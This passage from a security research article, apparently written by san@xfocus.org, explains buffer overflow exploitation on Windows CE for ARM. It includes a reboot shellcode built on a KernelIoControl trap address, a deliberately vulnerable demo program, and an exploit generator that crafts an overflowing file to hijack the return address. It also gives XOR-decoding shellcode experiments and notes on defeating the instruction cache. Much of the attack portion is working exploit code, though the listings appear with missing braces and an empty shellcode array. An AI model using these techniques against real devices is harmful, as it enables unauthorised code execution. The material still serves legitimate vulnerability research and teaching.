    Well, let's calculate the system call of KernelIoControl. The apiset is 0

    and the apinr is 99, so the system call is 0xf0010000-(256*0+99)*4 which

    is 0xF000FE74. The following is the shellcode implemented by system call:


    #include "stdafx.h"


    int shellcode[] =


    0xE59F0014, // ldr r0, [pc, #20]

    0xE59F4014, // ldr r4, [pc, #20]

    0xE3A01000, // mov r1, #0

    0xE3A02000, // mov r2, #0

    0xE3A03000, // mov r3, #0

    0xE1A0E00F, // mov lr, pc

    0xE1A0F004, // mov pc, r4

    0x0101003C, // IOCTL_HAL_REBOOT

    0xF000FE74, // trap address of KernelIoControl



    int WINAPI WinMain( HINSTANCE hInstance,

    HINSTANCE hPrevInstance,

    LPTSTR lpCmdLine,

    int nCmdShow)


    ((void (*)(void)) & shellcode)();


    return 0;



    It works fine and we don't need search API addresses.



    --[ 9 - Windows CE Buffer Overflow Exploitation


    The hello.cpp is the demonstration vulnerable program:


    // hello.cpp



    #include "stdafx.h"


    int hello()


    FILE * binFileH;

    char binFile[] = "//binfile";

    char buf[512];


    if ( (binFileH = fopen(binFile, "rb")) == NULL )


    printf("can't open file %s!/n", binFile);

    return 1;



    memset(buf, 0, sizeof(buf));

    fread(buf, sizeof(char), 1024, binFileH);


    printf("x %d/n", &buf, strlen(buf));




    return 0;



    int WINAPI WinMain( HINSTANCE hInstance,

    HINSTANCE hPrevInstance,

    LPTSTR lpCmdLine,

    int nCmdShow)



    return 0;



    The hello function has a buffer overflow problem. It reads data from the

    "binfile" of the root directory to stack variable "buf" by fread().

    Because it reads 1KB contents, so if the "binfile" is larger than 512

    bytes, the stack variable "buf" will be overflowed.


    The printf and getchar are just for test. They have no effect without

    console.dll in windows direcotry. The console.dll file is come from

    Windows Mobile Developer Power Toys.


    ARM assembly language uses bl instruction to call function. Let's look

    into the hello function:


    6: int hello()

    7: {

    22011000 str lr, [sp, #-4]!

    22011004 sub sp, sp, #0x89, 30

    8: FILE * binFileH;

    9: char binFile[] = "//binfile";



    26: }

    220110C4 add sp, sp, #0x89, 30

    220110C8 ldmia sp!, {pc}


    "str lr, [sp, #-4]!" is the first instruction of the hello() function. It

    stores the lr register to stack, and the lr register contains the return

    address of hello caller. The second instruction prepairs stack memory for

    local variables. "ldmia sp!, {pc}" is the last instruction of the hello()

    function. It loads the return address of hello caller that stored in the

    stack to the pc register, and then the program will execute into WinMain

    function. So overwriting the lr register that is stored in the stack will

    obtain control when the hello function returned.


    The variable's memory address that allocated by program is corresponding

    to the loaded Slot, both stack and heap. The process may be loaded into

    difference Slot at each start time. So the base address always alters. We

    know that the slot 0 is mapped from the current process' slot, so the base

    of its stack address is stable.


    The following is the exploit of hello program:


    /* exp.c - Windows CE Buffer Overflow Demo


    * san@xfocus.org




    #define NOP 0xE1A01001 /* mov r1, r1 */

    #define LR 0x0002FC50 /* return address */


    int shellcode[] =


































































































































    /* prints a long to a string */

    char* put_long(char* ptr, long value)


    *ptr++ = (char) (value >> 0) & 0xff;

    *ptr++ = (char) (value >> 8) & 0xff;

    *ptr++ = (char) (value >> 16) & 0xff;

    *ptr++ = (char) (value >> 24) & 0xff;


    return ptr;



    int main()


    FILE * binFileH;

    char binFile[] = "binfile";

    char buf[544];

    char *ptr;

    int i;


    if ( (binFileH = fopen(binFile, "wb")) == NULL )


    printf("can't create file %s!/n", binFile);

    return 1;



    memset(buf, 0, sizeof(buf)-1);

    ptr = buf;


    for (i = 0; i < 4; i++) {

    ptr = put_long(ptr, NOP);


    memcpy(buf+16, shellcode, sizeof(shellcode));

    put_long(ptr-16+540, LR);


    fwrite(buf, sizeof(char), 544, binFileH);




    We choose a stack address of slot 0, and it points to our shellcode. It

    will overwrite the return address that stored in the stack. We can also

    use a jump address of virtual memory space of the process instead of. This

    exploit produces a "binfile" that will overflow the "buf" variable and the

    return address that stored in the stack.


    After the binfile copied to the PDA, the PDA restarts and open the

    bluetooth when the hello program is executed. That's means the hello

    program flowed to our shellcode.


    While I changed another method to construct the exploit string, its as



    pad...pad|return address|nop...nop...shellcode


    And the exploit produces a 1KB "binfile". But the PDA is freeze when the

    hello program is executed. It was confused, I think maybe the stack of

    Windows CE is small and the overflow string destroyed the 2KB guard on the

    top of stack. It is freeze when the program call a API after overflow

    occurred. So, we must notice the features of stack while writing exploit

    for Windows CE.


    EVC has some bugs that make debug difficult. First, EVC will write some

    arbitrary data to the stack contents when the stack releases at the end of

    function, so the shellcode maybe modified. Second, the instruction at

    breakpoint maybe change to 0xE6000010 in EVC while debugging. Another bug

    is funny, the debugger without error while writing data to a .text address

    by step execute, but it will capture a access violate exception by execute




    --[ 10 - About Decoding Shellcode


    The shellcode we talked above is a concept shellcode which contains lots

    of zeros. It executed correctly in this demonstrate program, but some other

    vulnerable programs maybe filter the special characters before buffer

    overflow in some situations. For example overflowed by strcpy, the

    shellcode will be cut by the zero.


    It is difficult and inconvenient to write a shellcode without special

    characters by API search method. So we think about the decoding shellcode.

    Decoding shellcode will convert the special characters to fit characters

    and make the real shellcode more universal.


    The newer ARM processor(such as arm9 and arm10) has a Harvard architecture

    which separates instruction cache and data cache. This feature will

    improve the performance of processor, and most of RISC processors have

    this feature. But the self-modifying code is not easy to implement,

    because it will puzzled by the caches and the processor implementation

    after being modified.


    Let's look at the following code first:


    #include "stdafx.h"


    int weird[] =


    0xE3A01099, // mov r1, #0x99


    0xE5CF1020, // strb r1, [pc, #0x20]

    0xE5CF1020, // strb r1, [pc, #0x20]

    0xE5CF1020, // strb r1, [pc, #0x20]

    0xE5CF1020, // strb r1, [pc, #0x20]


    0xE1A01001, // mov r1, r1 ; pad







    0xE3A04001, // mov r4, #0x1

    0xE3A03001, // mov r3, #0x1

    0xE3A02001, // mov r2, #0x1

    0xE3A01001, // mov r1, #0x1

    0xE6000010, // breakpoint



    int WINAPI WinMain( HINSTANCE hInstance,

    HINSTANCE hPrevInstance,

    LPTSTR lpCmdLine,

    int nCmdShow)


    ((void (*)(void)) & weird)();


    return 0;



    That four strb instructions will change the immediate value of the below

    mov instructions to 0x99. It will break at that inserted breakpoint while

    executing this code in EVC debugger directly. The r1-r4 registers got 0x99

    in S3C2410 which is a arm9 core processor. It needs more nop instructions

    to pad after modified to let the r1-r4 got 0x99 while I tested this code

    in my friend's PDA which has a Intel Xscale processor. I think the reason

    maybe is that the arm9 has 5 pipelines and the arm10 has 6 pipelines. Well

    , I changed it to another method:


    0xE28F3053, // add r3, pc, #0x53


    0xE3A01010, // mov r1, #0x10

    0xE7D32001, // ldrb r2, [r3, +r1]

    0xE2222088, // eor r2, r2, #0x88

    0xE7C32001, // strb r2, [r3, +r1]

    0xE2511001, // subs r1, r1, #1

    0x1AFFFFFA, // bne 28011008


    //0xE1A0100F, // mov r1, pc

    //0xE3A02020, // mov r2, #0x20

    //0xE3A03D05, // mov r3, #5, 26

    //0xEE071F3A, // mcr p15, 0, r1, c7, c10, 1 ; clean and invalidate each entry

    //0xE0811002, // add r1, r1, r2

    //0xE0533002, // subs r3, r3, r2

    //0xCAFFFFFB, // bgt |weird+28h (30013058)|

    //0xE0211001, // eor r1, r1, r1

    //0xEE071F9A, // mcr p15, 0, r1, c7, c10, 4 ; drain write buffer

    //0xEE071F15, // mcr p15, 0, r1, c7, c5, 0 ; flush the icache

    0xE1A01001, // mov r1, r1 ; pad

















    0x6B28C889, // mov r4, #0x1 ; encoded

    0x6B28B889, // mov r3, #0x1

    0x6B28A889, // mov r2, #0x1

    0x6B289889, // mov r1, #0x1

    0xE6000010, // breakpoint


    The four mov instructions were encoded by Exclusive-OR with 0x88, the

    decoder has a loop to load a encoded byte and Exclusive-OR it with 0x88

    and then stored it to the original position. The r1-r4 registers won't get

    0x1 even you put a lot of pad instructions after decoded in both arm9 and

    arm10 processors. I think maybe that the load instruction bring on a cache



    ARM Architecture Reference Manual has a chapter to introduce how to deal

    with self-modifying code. It says the caches will be flushed by an

    operating system call. Phil, the guy from 0dd shared his experience to me.

    He said he's used this method successful on ARM system(I think his

    environment maybe is Linux). Well, this method is successful on AIX PowerPC

    and Solaris SPARC too(I've tested it). But SWI implements in a different

    way under Windows CE. The armtrap.s contains implementation of SWIHandler

    which does nothing except 'movs pc,lr'. So it has no effect after decode



    Because Pocket PC's applications run in kernel mode, so we have privilege

    to access the system control coprocessor. ARM Architecture Reference

    Manual introduces memory system and how to handle cache via the system

    control coprocessor. After looked into this manual, I tried to disable the

    instruction cache before decode:


    mrc p15, 0, r1, c1, c0, 0

    bic r1, r1, #0x1000

    mcr p15, 0, r1, c1, c0, 0


    But the system freezed when the mcr instruction executed. Then I tried to

    invalidate entire instruction cache after decoded:


    eor r1, r1, r1

    mcr p15, 0, r1, c7, c5, 0


    But it has no effect too.



    --[ 11 - Conclusion


    The codes talked above are the real-life buffer overflow example on

    Windows CE. It is not perfect, but I think this technology will be improved

    in the future.


    Because of the cache mechanism, the decoding shellcode is not good enough.


    Internet and handset devices are growing quickly, so threats to the PDAs

    and mobiles become more and more serious. And the patch of Windows CE is

    more difficult and dangerous than the normal Windows system to customers.

    Because the entire Windows CE system is stored in the ROM, if you want to

    patch the system flaws, you must flush the ROM, And the ROM images of

    various vendors or modes of PDAs and mobiles aren't compatible.